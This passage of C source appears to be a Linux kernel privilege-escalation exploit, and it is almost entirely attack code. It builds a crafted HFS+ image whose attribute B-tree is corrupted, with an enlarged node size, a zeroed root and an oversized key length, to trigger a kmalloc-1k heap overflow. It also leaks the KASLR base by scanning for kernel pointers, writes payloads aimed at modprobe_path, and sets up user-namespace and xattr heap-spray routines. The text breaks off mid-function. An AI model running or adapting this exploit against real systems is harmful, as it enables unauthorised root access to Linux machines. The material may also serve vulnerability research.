  0x6b, 0xe0, 0x8e, 0x98, 0xb7, 0x0c, 0x0b, 0x4d, 0xd1, 0x7b, 0xa5, 0xa8,
  0xb0, 0x92, 0x05, 0x92, 0xe7, 0x5f, 0x4a, 0x46, 0xe7, 0x36, 0xb0, 0x25,
  0xa7, 0xfb, 0xcd, 0x42, 0xd9, 0xf2, 0xb9, 0x0f, 0xfd, 0x79, 0xcf, 0xdc,
  0x47, 0xe6, 0xaf, 0xac, 0x62, 0x16, 0x32, 0xb3, 0xb0, 0xc4, 0x14, 0x3e,
  0xab, 0x83, 0xe6, 0xe7, 0xe6, 0x35, 0xb9, 0x53, 0xe3, 0x53, 0x81, 0x1a,
  0x31, 0x2a, 0x19, 0x7e, 0x59, 0x93, 0x45, 0xf1, 0xc6, 0x5b, 0x2c, 0xd9,
  0xe6, 0x66, 0x56, 0xaa, 0x96, 0x55, 0x53, 0x9d, 0xa9, 0x42, 0xbf, 0x4c,
  0xf9, 0x5a, 0x03, 0xa8, 0x44, 0xce, 0x31, 0x33, 0x0c, 0x0f, 0xd3, 0xce,
  0x3f, 0x71, 0x1b, 0xb9, 0xde, 0x08, 0x5e, 0x2e, 0x4f, 0x2e, 0xaf, 0xab,
  0x06, 0x3b, 0x84, 0xc6, 0xc9, 0x25, 0x0d, 0x56, 0xb4, 0xaf, 0x17, 0x32,
  0x3c, 0x44, 0xb4, 0x1d, 0xa2, 0x86, 0xac, 0x96, 0x09, 0x4c, 0xc0, 0x62,
  0x38, 0x66, 0xe6, 0x83, 0xd8, 0xd1, 0xd5, 0xf7, 0x61, 0x08, 0xcf, 0x2a,
  0x30, 0xc9, 0x33, 0xd1, 0xb9, 0x83, 0xde, 0x5d, 0xc9, 0xe5, 0xed, 0xc7,
  0xce, 0x94, 0x8c, 0xc1, 0xfd, 0xe9, 0xeb, 0x57, 0xcd, 0xfa, 0xe1, 0x84,
  0xe8, 0xf3, 0xf8, 0xc8, 0x6e, 0x43, 0xa9, 0x5b, 0x71, 0x78, 0xa2, 0x78,
  0x23, 0x18, 0x7a, 0x45, 0x56, 0x26, 0x9d, 0x5e, 0x53, 0x3d, 0xd1, 0x65,
  0xee, 0x5d, 0x07, 0x0a, 0xad, 0xf5, 0x53, 0x21, 0xf9, 0x77, 0xcc, 0x29,
  0x7b, 0x82, 0x10, 0x01, 0x46, 0xaa, 0x5f, 0x17, 0x2e, 0x93, 0x22, 0xe6,
  0xc2, 0x54, 0x54, 0x5d, 0x75, 0xe4, 0x1c, 0xa9, 0xc8, 0x27, 0xc7, 0xdb,
  0x9d, 0xc7, 0x78, 0xe8, 0x4f, 0x40, 0x0c, 0xf7, 0xca, 0x10, 0xc3, 0x31,
  0xd8, 0xc4, 0x45, 0x25, 0xdc, 0xf6, 0x4a, 0x75, 0xbb, 0xa7, 0xd5, 0xbc,
  0xc3, 0xd8, 0xfe, 0xb2, 0xb4, 0x99, 0xd6, 0x67, 0xf8, 0xba, 0x47, 0x1b,
  0xbd, 0x87, 0x4c, 0x3b, 0x8f, 0xec, 0xe5, 0x74, 0xb1, 0x77, 0xf1, 0x83,
  0x6a, 0x23, 0x1f, 0xe0, 0xb0, 0xd2, 0xae, 0x5f, 0x0c, 0x57, 0x94, 0x9f,
  0xe6, 0xa6, 0xa7, 0x41, 0x63, 0x8a, 0x82, 0xa3, 0xed, 0x09, 0x23, 0x0f,
  0x5a, 0x6e, 0xd1, 0x23, 0x80, 0xff, 0xff, 0x0c, 0x48, 0x57, 0x73, 0xf5,
  0x0e, 0x07, 0x64, 0x60, 0x0c, 0xed, 0xa9, 0x8f, 0x6f, 0x18, 0xb9, 0x6a,
  0x7e, 0x26, 0x80, 0xc9, 0x76, 0x7b, 0x9b, 0x7a, 0x04, 0x67, 0x87, 0x1f,
  0x2a, 0xca, 0xe2, 0x84, 0x70, 0x13, 0x00, 0xf0, 0x43, 0x38, 0x08, 0xb2,
  0x18, 0x0d, 0x7c, 0x5b, 0x9d, 0x6a, 0x94, 0x77, 0xa2, 0x77, 0x0b, 0x1a,
  0x27, 0x09, 0x34, 0x1b, 0xe1, 0x00, 0x2b, 0x9f, 0x2c, 0x1b, 0x9f, 0x49,
  0xe3, 0x4d, 0x84, 0xca, 0xf9, 0xb7, 0x68, 0xee, 0xf7, 0x74, 0xe0, 0xd5,
  0xb0, 0xa7, 0xaf, 0x0f, 0x6d, 0x22, 0x3f, 0x5e, 0xbc, 0x76, 0x06, 0x38,
  0xc1, 0xb5, 0x4d, 0x87, 0xc1, 0x0f, 0xec, 0xfa, 0x42, 0x81, 0x3b, 0x9e,
  0x74, 0x17, 0xa3, 0xfd, 0xdd, 0xa3, 0x05, 0x76, 0xb3, 0x01, 0x77, 0x0b,
  0xb2, 0x0d, 0xb2, 0x71, 0x32, 0x96, 0x6a, 0x38, 0xa3, 0x62, 0xcf, 0xa1,
  0xbe, 0xd0, 0xcb, 0xbe, 0x97, 0x07, 0x8b, 0xff, 0x6a, 0x9b, 0x0e, 0x44,
  0x51, 0x7c, 0x35, 0x6b, 0xd3, 0x58, 0x40, 0xd2, 0x61, 0x1d, 0x6d, 0xfb,
  0x5e, 0x34, 0x30, 0x70, 0x20, 0x34, 0xe3, 0x0b, 0x85, 0x1e, 0xdb, 0xde,
  0x92, 0x78, 0x78, 0x7a, 0x02, 0x8b, 0xe2, 0x51, 0xfa, 0xfa, 0xc8, 0x16,
  0xf4, 0x37, 0xb2, 0xaa, 0xe1, 0x9d, 0x51, 0xbd, 0xd7, 0x1d, 0x33, 0x6f,
  0xfd, 0xad, 0x7a, 0xb3, 0xd2, 0x12, 0x6e, 0xfc, 0xfc, 0x69, 0x33, 0x9e,
  0xc7, 0x82, 0xc3, 0x59, 0xe8, 0x28, 0x4f, 0xfb, 0x63, 0xa2, 0xe7, 0x5e,
  0x12, 0x12, 0x59, 0xe1, 0x7a, 0x72, 0xcf, 0xd1, 0x02, 0xb7, 0xee, 0x48,
  0x10, 0x5a, 0x25, 0x25, 0xeb, 0xeb, 0x36, 0x0d, 0x3a, 0x2a, 0x16, 0x7a,
  0x56, 0x0c, 0xc8, 0x06, 0x9f, 0x6d, 0xea, 0x65, 0xaa, 0x89, 0xd1, 0xb5,
  0x2a, 0x49, 0x0e, 0x1d, 0xd8, 0x8a, 0x4c, 0x83, 0xa1, 0x96, 0xb2, 0x9d,
  0x2e, 0xd6, 0xc9, 0x1c, 0xa1, 0x85, 0x7a, 0x04, 0xe9, 0x93, 0x52, 0x3c,
  0xc2, 0xcb, 0xf3, 0x0f, 0x7e, 0x12, 0x2e, 0x6e, 0x88, 0xbe, 0xd1, 0x13,
  0x88, 0x22, 0x42, 0x6b, 0x63, 0x98, 0xae, 0x02, 0xb4, 0x02, 0x5c, 0x78,
  0x04, 0x5b, 0x74, 0x70, 0xd0, 0x97, 0xb0, 0x7e, 0x2d, 0x45, 0xc0, 0xcd,
  0x30, 0xbc, 0x5e, 0xce, 0x7d, 0xf3, 0x96, 0x45, 0xf8, 0xfe, 0xbe, 0x5b,
  0xc2, 0x86, 0x53, 0x0b, 0xe5, 0x61, 0x41, 0xa2, 0x8c, 0xae, 0x06, 0x02,
  0xfe, 0x01, 0x5a, 0x8c, 0xfd, 0x33, 0x35, 0x05, 0x00, 0x00
};
unsigned int vanilla_hfs_bin_len = 1258;


/* HFS+ epoch starts on January 1, 1904 */
#define HFSPLUS_EPOCH_DIFF 2082844800 /* Difference between HFS+ and Unix epoch in seconds (1904-1970) */

/* Function to convert HFS+ timestamp to Unix timestamp and then to a human-readable date */
void hfsplus_to_date(unsigned int hfsplus_timestamp)
{
    /* Convert HFS+ timestamp to Unix timestamp */
    time_t unix_timestamp = hfsplus_timestamp - HFSPLUS_EPOCH_DIFF;

    /* Convert the Unix timestamp to local time */
    struct tm *tm_info = localtime(&unix_timestamp);

    if (tm_info == NULL) {
        printf("Failed to convert timestamp\n");
        return;
    }

    /* Output the formatted date */
    char buffer[80];

    strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", tm_info);
    printf("%s\n", buffer);
}

void parse_tree(struct hfs_btree_header_rec *tree)
{
    struct hfs_bnode_desc *header_node = (struct hfs_bnode_desc *)((void *)tree - sizeof(struct hfs_bnode_desc));

    printf("\tHeader node next: 0x%x\n", be32toh(header_node->next));
    printf("\tHeader node prev: 0x%x\n", be32toh(header_node->prev));
    printf("\tHeader node type: ");
    if (header_node->type == HFS_NODE_HEADER)
        printf("HFS_NODE_HEADER\n");
    else
        printf("0x%x\n", header_node->type);

    printf("\tHeader node number of records: 0x%x\n", be16toh(header_node->num_recs));

    printf("\tDepth: 0x%x\n", be16toh(tree->depth));
    printf("\tRoot: 0x%x\n", be32toh(tree->root));
    printf("\tNode size: 0x%x\n", be16toh(tree->node_size));
    printf("\tMax key length: 0x%x\n", be16toh(tree->max_key_len));
    printf("\tNode count: 0x%x\n", be32toh(tree->node_count));
    printf("\tAttributes:\n");
    if (be32toh(tree->attributes) & HFS_TREE_BIGKEYS)
        printf("\t\tHFS_TREE_BIGKEYS\n");
    if (be32toh(tree->attributes) & HFS_TREE_VARIDXKEYS)
        printf("\t\tHFS_TREE_VARIDXKEYS\n");
}


void parse_volume(const unsigned char *hfs_buffer, size_t len)
{
    struct hfsplus_vh *hfs_vh = (struct hfsplus_vh *)(hfs_buffer+0x400);

    printf("[+] Basic information about hfs+ volume\n");
    printf("\tSignature: 0x%x\n", be16toh(hfs_vh->signature));
    printf("\tVersion: 0x%x\n", be16toh(hfs_vh->version));
    printf("\tCreation date: ");
    hfsplus_to_date(be32toh(hfs_vh->create_date));
    printf("\tBlock size: 0x%x\n", be32toh(hfs_vh->blocksize));
    printf("\tTotal blocks: 0x%x\n", be32toh(hfs_vh->total_blocks));
    printf("\tNext cnid: 0x%x\n", be32toh(hfs_vh->next_cnid));


    printf("[+] Checking catalog and attribute btrees\n");
    printf("\tCatalog start block: 0x%x\n", be32toh(hfs_vh->cat_file.extents->start_block));
    printf("\tCatalog block count: 0x%x\n", be32toh(hfs_vh->cat_file.extents->block_count));

    printf("\tAttribute start block: 0x%x\n", be32toh(hfs_vh->attr_file.extents->start_block));
    printf("\tAttrbiute block count: 0x%x\n", be32toh(hfs_vh->attr_file.extents->block_count));

    size_t blocksize = be32toh(hfs_vh->blocksize);

    size_t cat_tree_start_address = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;

    cat_tree_start_address += sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *cat_tree = (struct hfs_btree_header_rec *)(hfs_buffer+cat_tree_start_address);


    size_t attr_tree_start_address = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;

    attr_tree_start_address += sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *attr_tree = (struct hfs_btree_header_rec *)(hfs_buffer+attr_tree_start_address);


    printf("[+] Parsing basic stuff about catalog file\n");
    parse_tree(cat_tree);

    printf("[+] Parsing basic stuff about attribute file\n");
    parse_tree(attr_tree);

}


void resize_nodes(unsigned char *hfs_buffer, size_t len)
{
    uint8_t footer_node[] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x00,
    0x76, 0x00, 0x75, 0x00, 0x74, 0x42, 0x00, 0x0e
    };

    struct hfsplus_vh *hfs_vh = (struct hfsplus_vh *)(hfs_buffer+0x400);
    size_t blocksize = be32toh(hfs_vh->blocksize);
    size_t attr_tree_start_address_base = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;
    size_t attr_tree_start_address = attr_tree_start_address_base + sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *attr_tree = (struct hfs_btree_header_rec *)(hfs_buffer+attr_tree_start_address);

    printf("[+] Resizing attribute tree nodes to make same space for machinery\n");
    printf("\tNode size: 0x%x\n", be16toh(attr_tree->node_size));

    /* Let's have a bigger node size so we can fit our payloads nicely */
    attr_tree->node_size = htobe16(0x8000);

    printf("\tNode size (corrupted): 0x%x\n", be16toh(attr_tree->node_size));

    /* The node footer has to go to the new place */
    unsigned char *dest_address = hfs_buffer + attr_tree_start_address_base + (0x8000-0x10);
    unsigned char *src_address = hfs_buffer + attr_tree_start_address_base + (0x2000-0x10);

    printf("\tOriginal footer at: 0x%lx\n", (unsigned long)src_address);
    printf("\tNew footer at: 0x%lx\n", (unsigned long)dest_address);

    printf("\tOriginal footer at (relative): 0x%lx\n", (unsigned long)src_address - (unsigned long)hfs_buffer);
    printf("\tNew footer at (relative): 0x%lx\n", (unsigned long)dest_address - (unsigned long)hfs_buffer);

    memcpy(dest_address, src_address, 0x10);

    /* The target node footer is given by us */
    unsigned char *dest_address_node = hfs_buffer + attr_tree_start_address_base + (2 * 0x8000 - 0x10);

    memcpy(dest_address_node, &footer_node, 0x10);


    /* The node footer has to go to the new place */
    unsigned char *src_address_data = hfs_buffer + attr_tree_start_address_base + 0x2000;
    unsigned char *dest_address_data = hfs_buffer + attr_tree_start_address_base + 0x8000;

    printf("\tOriginal attribute records at: 0x%lx\n", (unsigned long)src_address_data);
    printf("\tNew attribute records at: 0x%lx\n", (unsigned long)dest_address_data);

    memcpy(dest_address_data, src_address_data, 0x200);
}

void remove_root(unsigned char *hfs_buffer, size_t len)
{
    struct hfsplus_vh *hfs_vh = (struct hfsplus_vh *)(hfs_buffer+0x400);
    size_t blocksize = be32toh(hfs_vh->blocksize);
    size_t attr_tree_start_address_base = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;
    size_t attr_tree_start_address = attr_tree_start_address_base + sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *attr_tree = (struct hfs_btree_header_rec *)(hfs_buffer+attr_tree_start_address);

    printf("[+] Removing root to bypass hfs_brec_find checks\n");

    printf("\tRoot: 0x%x\n", be32toh(attr_tree->root));

    /* Let's zero out the root to bypass checks */
    attr_tree->root = htobe32(0x0);

    printf("\tRoot (corrupted): 0x%x\n", be16toh(attr_tree->root));
}


void corrupt_key_len(unsigned char *hfs_buffer, size_t len, uint16_t new_length)
{
    struct hfsplus_vh *hfs_vh = (struct hfsplus_vh *)(hfs_buffer+0x400);
    size_t blocksize = be32toh(hfs_vh->blocksize);
    size_t attr_tree_start_address_base = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;
    size_t attr_tree_start_address = attr_tree_start_address_base + sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *attr_tree = (struct hfs_btree_header_rec *)(hfs_buffer+attr_tree_start_address);
    unsigned char *address_node = hfs_buffer + attr_tree_start_address_base + 0x8000;

    printf("[+] Corrupting HFS attribute record key length\n");

    struct hfs_bnode_desc *first_node = (struct hfs_bnode_desc *)address_node;

    printf("\tNode next: 0x%x\n", be32toh(first_node->next));
    printf("\tNode prev: 0x%x\n", be32toh(first_node->prev));
    printf("\tNode type: ");
    if (first_node->type == HFS_NODE_HEADER)
        printf("HFS_NODE_HEADER\n");
    else
        printf("0x%x\n", first_node->type);

    printf("\tNode number of records: 0x%x\n", be16toh(first_node->num_recs));

    struct hfsplus_attr_key *first_key = (struct hfsplus_attr_key *)(address_node + sizeof(struct hfs_bnode_desc));

    printf("\tKey length (current): 0x%x\n", be16toh(first_key->key_len));
    first_key->key_len = htobe16(new_length);

    printf("\tKey length (corrupted): 0x%x\n", be16toh(first_key->key_len));
}


void write_payload(unsigned char *hfs_buffer, size_t len, uint8_t *payload, uint16_t payload_length)
{
    struct hfsplus_vh *hfs_vh = (struct hfsplus_vh *)(hfs_buffer+0x400);
    size_t blocksize = be32toh(hfs_vh->blocksize);
    size_t attr_tree_start_address_base = be32toh(hfs_vh->attr_file.extents->start_block) * blocksize;
    size_t attr_tree_start_address = attr_tree_start_address_base + sizeof(struct hfs_bnode_desc);
    struct hfs_btree_header_rec *attr_tree = (struct hfs_btree_header_rec *)(hfs_buffer+attr_tree_start_address);
    unsigned char *address_node = hfs_buffer + attr_tree_start_address_base + 0x8000;
    struct hfsplus_attr_key *first_key = (struct hfsplus_attr_key *)(address_node + sizeof(struct hfs_bnode_desc));

    printf("[+] Writing kmalloc-1k payload\n");

    /* Make some 'A' padding */
    memset((void *)first_key + 0xd7, 0x41, 4*0x400);

    uint8_t *address = (uint8_t *)(address_node + sizeof(struct hfs_bnode_desc) + 0x400);

    memcpy(address, payload, payload_length);
}

void hack_hfs_keyring(unsigned char *hfs_buffer, size_t len, uint64_t dummy)
{
    /* Let's check some basic information about our volume */
    parse_volume(hfs_buffer, len);

    /* First, we hack the attribute B-tree a little bit */
    resize_nodes(hfs_buffer, len);

    /* Remove root */
    remove_root(hfs_buffer, len);

    /* Corrupt key length */
    corrupt_key_len(hfs_buffer, len, 0x418 - 2);

    uint8_t payload[24] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xff, 0xff, 0x53, 0x53, 0x53, 0x53, 0x53, 0x53
    };

    uint16_t payload_len = sizeof(payload);

    /* Write kmalloc-1k payload */
    write_payload(hfs_buffer, len, payload, payload_len);
}

void hack_hfs_modprobe_one(unsigned char *hfs_buffer, size_t len, uint64_t kaslr_base)
{
    /* Let's check some basic information about our volume */
    parse_volume(hfs_buffer, len);

    /* First, we hack the attribute B-tree a little bit */
    resize_nodes(hfs_buffer, len);

    /* Remove root */
    remove_root(hfs_buffer, len);

    /* Corrupt key length */
    /* -2 of what you want because fs/hfsplus/bnode.c#L66*/
    corrupt_key_len(hfs_buffer, len, 0x410 - 2);

/*
    uint8_t payload[24] = {
    0x3c, 0xf6, 0xb3, 0x82, 0xff, 0xff, 0xff, 0xff,
    0x2f, 0x62, 0x67, 0x70, 0x81, 0x88, 0xff, 0xff, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
*/

/*00000000: 38f6 b382 ffff ffff 2f74 6d70 8188 ffff  8......./tmp....                                                                                          │*/
    uint8_t payload[16] = {
    0x38, 0xf6, 0xb3, 0x82, 0xff, 0xff, 0xff, 0xff,
    0x2f, 0x74, 0x6d, 0x70, 0x81, 0x88, 0xff, 0xff
    };

    if (kaslr_base) {
// (gdb) set *(long*)(0xffff8881019be000) = 0xffffffff82b3f638                                                                                                  
// (gdb) set *(long*)(0xffff8881019be008) = 0xffff8881706d742f   
/*
#define MODPROBE_ADDR_ONE 0xffffffff82b3f638
#define MODPROBE_ADDE_TWO 0xffffffff82b3f63c

#define KERNEL_BASE 0xffffffff81000000
*/

        printf("[+] Fixing up first payload with kaslr base: %lx\n", kaslr_base);
        uint64_t target = MODPROBE_ADDR_ONE - KERNEL_BASE + kaslr_base;
        for (int i = 0; i < 8; i++) {
            payload[i] = (uint8_t)((target >> (8 * i)) & 0xFF);
        }
    }


    uint16_t payload_len = sizeof(payload);

    /* Write kmalloc-1k payload */
    write_payload(hfs_buffer, len, payload, payload_len);
}

void hack_hfs_modprobe_two(unsigned char *hfs_buffer, size_t len, uint64_t kaslr_base)
{
    /* Let's check some basic information about our volume */
    parse_volume(hfs_buffer, len);

    /* First, we hack the attribute B-tree a little bit */
    resize_nodes(hfs_buffer, len);

    /* Remove root */
    remove_root(hfs_buffer, len);

    /* Corrupt key length */
    /* -2 of what you want because fs/hfsplus/bnode.c#L66*/
    corrupt_key_len(hfs_buffer, len, 0x410 - 2);

/*00000000: 3cf6 b382 ffff ffff 2f62 6770 8188 ffff  <......./bgp....         */

    uint8_t payload[16] = {
    0x3c, 0xf6, 0xb3, 0x82, 0xff, 0xff, 0xff, 0xff,
    0x2f, 0x62, 0x67, 0x70, 0x81, 0x88, 0xff, 0xff
    };

    if (kaslr_base) {
// (gdb) set *(long*)(0xffff8881019be000) = 0xffffffff82b3f638                                                                                                  
// (gdb) set *(long*)(0xffff8881019be008) = 0xffff8881706d742f   
/*
#define MODPROBE_ADDR_ONE 0xffffffff82b3f638
#define MODPROBE_ADDE_TWO 0xffffffff82b3f63c

#define KERNEL_BASE 0xffffffff81000000
*/

        printf("[+] Fixing up first payload with kaslr base: %lx\n", kaslr_base);
        uint64_t target = MODPROBE_ADDR_TWO - KERNEL_BASE + kaslr_base;
        for (int i = 0; i < 8; i++) {
            payload[i] = (uint8_t)((target >> (8 * i)) & 0xFF);
        }
    }


    uint16_t payload_len = sizeof(payload);

    /* Write kmalloc-1k payload */
    write_payload(hfs_buffer, len, payload, payload_len);
}

/* Function to decompress data using zlib with gzip format */
int decompress_gzip(const unsigned char *src, size_t src_len, unsigned char **dest, size_t *dest_len)
{
    z_stream strm;
    int ret;
    size_t output_size = CHUNK;  /* Initial buffer size */

    /* Allocate memory for the destination buffer */
    *dest = malloc(output_size);
    if (*dest == NULL) {
        fprintf(stderr, "Memory allocation failed\n");
        return Z_MEM_ERROR;
    }

    /* Initialize the zlib stream structure */
    strm.zalloc = Z_NULL;
    strm.zfree = Z_NULL;
    strm.opaque = Z_NULL;
    strm.avail_in = src_len;
    strm.next_in = (unsigned char *)src;

    /* Initialize the zlib stream for decompression in gzip mode */
    /* 16 + MAX_WBITS enables gzip format */
    ret = inflateInit2(&strm, 16 + MAX_WBITS);
    if (ret != Z_OK) {
        /* Clean up on failure */
        free(*dest);
        return ret;
    }

    /* Track total output size */
    size_t total_out = 0;

    do {
        if (total_out + CHUNK > output_size) {
            /* Resize the buffer if it's not big enough */
            output_size += CHUNK;
            unsigned char *new_dest = realloc(*dest, output_size);

            if (new_dest == NULL) {
                inflateEnd(&strm);
                free(*dest);
                fprintf(stderr, "Reallocation failed\n");
                return Z_MEM_ERROR;
            }
            *dest = new_dest;
        }

        strm.avail_out = CHUNK;
        strm.next_out = *dest + total_out;

        /* Perform the decompression */
        ret = inflate(&strm, Z_NO_FLUSH);
        if (ret == Z_STREAM_ERROR) {
            inflateEnd(&strm);
            free(*dest);
            fprintf(stderr, "Stream error during inflation\n");
            return ret;
        }
        /* Update total output size */
        total_out += CHUNK - strm.avail_out;
    } while (ret != Z_STREAM_END);

    /* Set the actual output length */
    *dest_len = total_out;

    /* Clean up */
    inflateEnd(&strm);
    return Z_OK;
}

int prepare_filesystem(void (*hfs_mutator)(unsigned char *, size_t, uint64_t), char *hfs_filename, uint64_t kaslr_base)
{
    unsigned char *compressed_data = vanilla_hfs_bin;
    size_t compressed_size = vanilla_hfs_bin_len;

    /* Output buffer */
    unsigned char *decompressed = NULL;
    size_t decompressed_len = 0;

    /* Decompress 3 times */
    for (int i = 0; i < 3; i++) {
        if (decompress_gzip(compressed_data, compressed_size, &decompressed, &decompressed_len) != Z_OK) {
            fprintf(stderr, "Decompression failed at iteration %d\n", i + 1);
            return 1;
        }
        /* For the next round, the output becomes the input */
        compressed_size = decompressed_len;
        /* Reuse the decompressed data as input */
        compressed_data = decompressed;
    }
    printf("[+] Decompressed size: 0x%lx\n", decompressed_len);

    hfs_mutator(decompressed, decompressed_len, kaslr_base);

    FILE *file = fopen(hfs_filename, "wb");
    size_t written = fwrite(decompressed, sizeof(unsigned char), decompressed_len, file);

    if (written != decompressed_len) {
        perror("Failed to write the buffer to the file");
        fclose(file);
        exit(EXIT_FAILURE);
    }
    fclose(file);

    /* Free the allocated memory */
    free(decompressed);

    return 0;
}

long long get_precise_time(void)
{
    struct timespec ts;

    clock_gettime(CLOCK_REALTIME, &ts);
    long long milliseconds_since_epoch =
                (long long)(ts.tv_sec) * 1000 + (long long)(ts.tv_nsec) / 1000000;
    return milliseconds_since_epoch;
}

/* Function to check if a pointer is a valid kernel pointer within the KASLR range */
bool is_valid_pointer(uint64_t ptr)
{
/*    if (ptr >= KERNEL_BASE_LOWER && ptr <= KERNEL_BASE_UPPER)
 *        printf("Valid pointer: %lx\n", ptr);
 */
    return (ptr >= KERNEL_BASE_LOWER && ptr <= KERNEL_BASE_UPPER);
}

/* Function to extract a 64-bit pointer from a byte buffer at a given position */
uint64_t extract_pointer(uint8_t *buffer, int pos)
{
    uint64_t ptr = 0;

    for (int i = 0; i < 8; i++) {
        /* Extract 8 bytes as a 64-bit pointer */
        ptr |= ((uint64_t)buffer[pos + i] << (i * 8));
    }
    return ptr;
}

/* Function to search for pointer triples and calculate KASLR base */
void find_pointer_triples(uint8_t *buffer, int buffer_size, int *success, uint64_t *kaslr_base_out)
{
    for (int i = 0; i < buffer_size - 8; i++) {
        /* Extract the first pointer */
        uint64_t first_ptr = extract_pointer(buffer, i);

        if (!is_valid_pointer(first_ptr))
            /* Skip invalid pointers */
            continue;


        /* Extract the second pointer at the offset */
        int second_ptr_pos = i + OFFSET_2ND_PTR;

        if (second_ptr_pos + 8 > buffer_size)
            continue;

        uint64_t second_ptr = extract_pointer(buffer, second_ptr_pos);

        if (!is_valid_pointer(second_ptr))
            continue;


        /* Extract the third pointer at the next offset */
        int third_ptr_pos = second_ptr_pos + OFFSET_3RD_PTR - OFFSET_2ND_PTR;

        if (third_ptr_pos + 8 > buffer_size)
            continue;

        uint64_t third_ptr = extract_pointer(buffer, third_ptr_pos);

        if (!is_valid_pointer(third_ptr))
            continue;

        /* Calculate the differences */
        int64_t diff_first = first_ptr - BASE_ADDR_FIRST;
        int64_t diff_second = second_ptr - BASE_ADDR_SECOND;
        int64_t diff_third = third_ptr - BASE_ADDR_THIRD;

        printf("\n[+] Pointer triple found at byte offset %x:\n", i);
        printf("\tFirst pointer:  0x%lx (Difference: 0x%lx)\n", first_ptr, diff_first);
        printf("\tSecond pointer: 0x%lx (Difference: 0x%lx)\n", second_ptr, diff_second);
        printf("\tThird pointer:  0x%lx (Difference: 0x%lx)\n", third_ptr, diff_third);

        /* If all three differences match, calculate the KASLR base */
        if (diff_first == diff_second && diff_first == diff_third) {
            uint64_t kaslr_base = diff_first + KERNEL_BASE;

            printf("\n[+] KASLR base: 0x%lx\n", kaslr_base);
            *success = 1;
            *kaslr_base_out = kaslr_base;

            /* Stop once we find the KASLR base */
            return;
        }
    }
}


sem_t *make_semaphore(int initial){
    int shm = shmget(IPC_PRIVATE, sizeof(sem_t), IPC_CREAT | 0666);

    sem_t *semaphore = shmat(shm, NULL, 0);
    sem_init(semaphore, 1, initial);
    return semaphore;
}

void set_cpu_affinity(int cpu_n, pid_t pid)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0)
        do_error_exit("sched_setaffinity");
}

void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}


void unshare_setup_xattr(uid_t uid, gid_t gid)
{
    int temp, ret;
    char edit[0x100];

    ret = unshare(CLONE_NEWNS | CLONE_NEWUSER);
    if (ret < 0)
        do_error_exit("unshare");

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1\n", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1\n", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    ret = mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL);
    if (ret < 0)
        perror("mount root");   
}

void write_file(char *path, char *buf, int size)
{
    int fd = open(path, O_RDWR|O_CREAT);

    write(fd, buf, size);
    close(fd);
}

void prepare_mounts(void)
{
    system("mkdir /tmp/mnt0");
    system("mkdir /tmp/mnt1");  
    system("mkdir /tmp/mnt2");  
}


void prepare_tmpfs(void)
{
    system("mkdir /tmp/tmpfs");
    system("mount -t tmpfs -o size=50M none /tmp/tmpfs");

    write_file("/tmp/tmpfs/xattr_node", "data", 0x4);
    write_file("/tmp/tmpfs/xattr_node_2", "data", 0x4);
    write_file("/tmp/tmpfs/xattr_node_3", "data", 0x4);
}

void unlink_xattr(int id)
{
    char xattr_name[XATTR_NAME_MAX_SIZE];

    snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%d", id);
    removexattr("/tmp/tmpfs/xattr_node", xattr_name);
}

void spray_xattr(void)
{
    char xattr_name[XATTR_NAME_MAX_SIZE];
    char xattr_value[XATTR_NAME_MAX_SIZE];

    int base_nodes[] = {7, 3, 11, 1, 5, 9, 13};
    int leaf_nodes[] = {0, 2, 4, 6, 8, 10, 12, 14};
    int base_size = sizeof(base_nodes) / sizeof(base_nodes[0]);
    int leaf_size = sizeof(leaf_nodes) / sizeof(leaf_nodes[0]);

    for (int i = 100; i < 111; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", i, i);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%d", i);
        setxattr("/tmp/tmpfs/xattr_node_3", xattr_name, xattr_value, strlen(xattr_value), 0);
    }


    for (int i = 0; i < base_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", base_nodes[i], base_nodes[i]);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", base_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node", xattr_name, xattr_value, strlen(xattr_value), 0);
    }

    for (int i = 0; i < leaf_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", leaf_nodes[i], leaf_nodes[i]);
